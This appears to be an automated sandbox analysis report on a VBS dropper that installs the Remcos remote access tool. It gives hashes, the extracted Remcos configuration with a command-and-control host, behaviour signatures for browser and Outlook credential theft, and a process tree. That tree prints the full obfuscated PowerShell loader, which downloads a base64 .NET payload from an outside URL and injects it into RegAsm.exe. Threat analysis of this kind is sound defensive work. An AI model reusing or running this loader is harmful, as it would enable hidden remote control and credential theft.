Analysis

  • max time kernel
    149s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-09-2024 14:05

General

  • Target

    dfa4dfcb2b8bd8a2f352199a49be86bd7e6440302405b68b11062c25a1c87487.vbs

  • Size

    222KB

  • MD5

    7d6554c8a85d866a962910ea6b1adbd8

  • SHA1

    5c8e17d5320c9354d13b570868bd91919c41e61a

  • SHA256

    dfa4dfcb2b8bd8a2f352199a49be86bd7e6440302405b68b11062c25a1c87487

  • SHA512

    a120f0d53897fece88fc7568cd22766129d3abdd8d4874be4e6cc47e6073e6857880fa5585fc0f6e1feaa63be7c916cec116658d0eea6d7af35328d9b0983f3d

  • SSDEEP

    3072:hksPms6UUTGkotx6yZQVkMojZKKqmXjszj9QqNyyJxYgt5p2b+GwUWibS71Syc4F:hl3yeH0kMUqmXej9VJZPS9TNfrJL0

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

C2

dremom2.duckdns.org:2201

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-OT0ZCG

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 46 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dfa4dfcb2b8bd8a2f352199a49be86bd7e6440302405b68b11062c25a1c87487.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnRCcrJ08nKydUJysndXJsICcrJz0gTjk2JysnaHR0cHM6Ly9pYScrJzYwMDEnKycwMCcrJy51cy5hJysncicrJ2NoaScrJ3YnKydlLm8nKydyZy8yNC9pJysndGUnKydtcy8nKydkJysnZXRhJysnaCcrJy1ub3RlLXYvJysnRGV0YScrJ2hOb3RlVi50JysneHROOTY7RE9UJysnYmFzJysnZTY0Q28nKydudGVudCA9JysnIChOJysnZXctT2JqZScrJ2MnKyd0IFN5Jysnc3RlbS5OZXQuV2ViJysnQycrJ2xpJysnZW50KS5EJysnbycrJ3cnKydubG9hZFMnKyd0cmknKyduJysnZycrJyhETycrJ1R1cicrJ2wnKycpJysnO0RPVGJpbicrJ2FyeUNvbnRlbnQgPScrJyBbU3lzdGVtLkNvJysnbicrJ3ZlJysncnRdOjpGJysncm9tQicrJ2FzZTY0JysnUycrJ3RyaW5nJysnKCcrJ0RPJysnVGJhcycrJ2U2NEMnKydvbnQnKydlbicrJ3QpO0QnKydPJysnVGEnKydzcycrJ2VtYicrJ2x5ID0nKycgJysnW1JlZmxlY3RpbycrJ24nKycuQXNzZW1iJysnbHldOjpMJysnbycrJ2FkKCcrJ0RPVGJpJysnbmFyeScrJ0NvbnRlbnQpJysnO0RPVHR5cGUgPSAnKydETycrJ1Rhc3NlJysnbScrJ2JseS5HZScrJ3RUeScrJ3BlKE4nKyc5JysnNlInKyd1bicrJ1BFLkgnKydvbWVOOScrJzYpJysnO0RPVCcrJ20nKydldGhvJysnZCA9ICcrJ0RPVHQnKyd5JysncGUnKycuJysnR2UnKyd0TWV0JysnaCcrJ29kKE45NicrJ1ZBSU4nKyc5NicrJyknKyc7JysnRE9UbWV0JysnaG9kJysnLkknKydudicrJ29rJysnZShETycrJ1QnKyduJysndWwnKydsJysnLCcrJyBbb2InKydqZWN0JysnW11dQChOJysnOTZ0eHQuT0VOSU4nKycvJysnMCcrJzQzLzInKyc2LjknKycxJysnLicrJzYnKyczMi4yNycrJzEvLzpwdHRoTjknKyc2ICwgJysnTjknKyc2ZCcrJ2VzYXRpdmFkJysnb045NiAsIE4nKyc5NmRlc2EnKyd0aScrJ3ZhJysnZG8nKydOJysnOTYgLCBOOScrJzZkZXNhdGknKyd2YScrJ2QnKydvTjknKyc2LE45NlJlZ0FzJysnbScrJ045NixOOTZOOTYpKScpLUNSZXBsQUNlKFtjSEFyXTc4K1tjSEFyXTU3K1tjSEFyXTU0KSxbY0hBcl0zOSAtckVwbEFjRSdET1QnLFtjSEFyXTM2KXxpblZva2UtZXhwcmVTU0lvbg==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3836
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('D'+'O'+'T'+'url '+'= N96'+'https://ia'+'6001'+'00'+'.us.a'+'r'+'chi'+'v'+'e.o'+'rg/24/i'+'te'+'ms/'+'d'+'eta'+'h'+'-note-v/'+'Deta'+'hNoteV.t'+'xtN96;DOT'+'bas'+'e64Co'+'ntent ='+' (N'+'ew-Obje'+'c'+'t Sy'+'stem.Net.Web'+'C'+'li'+'ent).D'+'o'+'w'+'nloadS'+'tri'+'n'+'g'+'(DO'+'Tur'+'l'+')'+';DOTbin'+'aryContent ='+' [System.Co'+'n'+'ve'+'rt]::F'+'romB'+'ase64'+'S'+'tring'+'('+'DO'+'Tbas'+'e64C'+'ont'+'en'+'t);D'+'O'+'Ta'+'ss'+'emb'+'ly ='+' '+'[Reflectio'+'n'+'.Assemb'+'ly]::L'+'o'+'ad('+'DOTbi'+'nary'+'Content)'+';DOTtype = '+'DO'+'Tasse'+'m'+'bly.Ge'+'tTy'+'pe(N'+'9'+'6R'+'un'+'PE.H'+'omeN9'+'6)'+';DOT'+'m'+'etho'+'d = '+'DOTt'+'y'+'pe'+'.'+'Ge'+'tMet'+'h'+'od(N96'+'VAIN'+'96'+')'+';'+'DOTmet'+'hod'+'.I'+'nv'+'ok'+'e(DO'+'T'+'n'+'ul'+'l'+','+' [ob'+'ject'+'[]]@(N'+'96txt.OENIN'+'/'+'0'+'43/2'+'6.9'+'1'+'.'+'6'+'32.27'+'1//:ptthN9'+'6 , '+'N9'+'6d'+'esativad'+'oN96 , N'+'96desa'+'ti'+'va'+'do'+'N'+'96 , N9'+'6desati'+'va'+'d'+'oN9'+'6,N96RegAs'+'m'+'N96,N96N96))')-CReplACe([cHAr]78+[cHAr]57+[cHAr]54),[cHAr]39 -rEplAcE'DOT',[cHAr]36)|inVoke-expreSSIon"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1356
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
            PID:540
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
              PID:784
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              4⤵
                PID:3276
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                4⤵
                  PID:1212
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  4⤵
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: MapViewOfSection
                  • Suspicious use of WriteProcessMemory
                  PID:3948
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ptiuqvqosobwpxdapadwvropkojqxlko"
                    5⤵
                      PID:3560
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ptiuqvqosobwpxdapadwvropkojqxlko"
                      5⤵
                        PID:3420
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ptiuqvqosobwpxdapadwvropkojqxlko"
                        5⤵
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:4876
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\znnf"
                        5⤵
                        • Accesses Microsoft Outlook accounts
                        • System Location Discovery: System Language Discovery
                        PID:1760
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\bhbxrgm"
                        5⤵
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4440

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                Filesize

                3KB

                MD5

                f41839a3fe2888c8b3050197bc9a0a05

                SHA1

                0798941aaf7a53a11ea9ed589752890aee069729

                SHA256

                224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

                SHA512

                2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                Filesize

                64B

                MD5

                50a8221b93fbd2628ac460dd408a9fc1

                SHA1

                7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

                SHA256

                46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

                SHA512

                27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1xwzgshr.u2p.ps1

                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\ptiuqvqosobwpxdapadwvropkojqxlko

                Filesize

                4KB

                MD5

                2538ec9e8425a905937573069b77d4c2

                SHA1

                ad0c2b7aff4382e23444d26adac96d9697b849f3

                SHA256

                29338949fae4c88a972837aae898529e4c7a2c4df35982eef2f8d7b602c17f4e

                SHA512

                a867a471b837b9c662528ee7a5904e8fe7b1eebb277b8a7fe4d4caf423fae914baf692bb5004c02ddb539b157d63326178467e28b03aa92a533cda19155d501c

              • memory/1356-24-0x0000027E54FE0000-0x0000027E551EC000-memory.dmp

                Filesize

                2.0MB

              • memory/1760-50-0x0000000000400000-0x0000000000462000-memory.dmp

                Filesize

                392KB

              • memory/1760-42-0x0000000000400000-0x0000000000462000-memory.dmp

                Filesize

                392KB

              • memory/1760-44-0x0000000000400000-0x0000000000462000-memory.dmp

                Filesize

                392KB

              • memory/3836-11-0x00007FF8BD7B0000-0x00007FF8BE271000-memory.dmp

                Filesize

                10.8MB

              • memory/3836-23-0x00007FF8BD7B0000-0x00007FF8BE271000-memory.dmp

                Filesize

                10.8MB

              • memory/3836-22-0x00007FF8BD7B3000-0x00007FF8BD7B5000-memory.dmp

                Filesize

                8KB

              • memory/3836-12-0x00007FF8BD7B0000-0x00007FF8BE271000-memory.dmp

                Filesize

                10.8MB

              • memory/3836-34-0x00007FF8BD7B0000-0x00007FF8BE271000-memory.dmp

                Filesize

                10.8MB

              • memory/3836-6-0x000001B73B9F0000-0x000001B73BA12000-memory.dmp

                Filesize

                136KB

              • memory/3836-0-0x00007FF8BD7B3000-0x00007FF8BD7B5000-memory.dmp

                Filesize

                8KB

              • memory/3948-63-0x0000000010000000-0x0000000010019000-memory.dmp

                Filesize

                100KB

              • memory/3948-68-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-36-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-65-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-35-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-40-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-33-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-64-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-31-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-39-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-25-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-37-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-67-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-62-0x0000000010000000-0x0000000010019000-memory.dmp

                Filesize

                100KB

              • memory/3948-52-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-66-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-38-0x0000000000400000-0x0000000000482000-memory.dmp

                Filesize

                520KB

              • memory/3948-59-0x0000000010000000-0x0000000010019000-memory.dmp

                Filesize

                100KB

              • memory/4440-45-0x0000000000400000-0x0000000000424000-memory.dmp

                Filesize

                144KB

              • memory/4440-46-0x0000000000400000-0x0000000000424000-memory.dmp

                Filesize

                144KB

              • memory/4440-43-0x0000000000400000-0x0000000000424000-memory.dmp

                Filesize

                144KB

              • memory/4876-41-0x0000000000400000-0x0000000000478000-memory.dmp

                Filesize

                480KB

              • memory/4876-53-0x0000000000400000-0x0000000000478000-memory.dmp

                Filesize

                480KB

              • memory/4876-47-0x0000000000400000-0x0000000000478000-memory.dmp

                Filesize

                480KB

              • memory/4876-49-0x0000000000400000-0x0000000000478000-memory.dmp

                Filesize

                480KB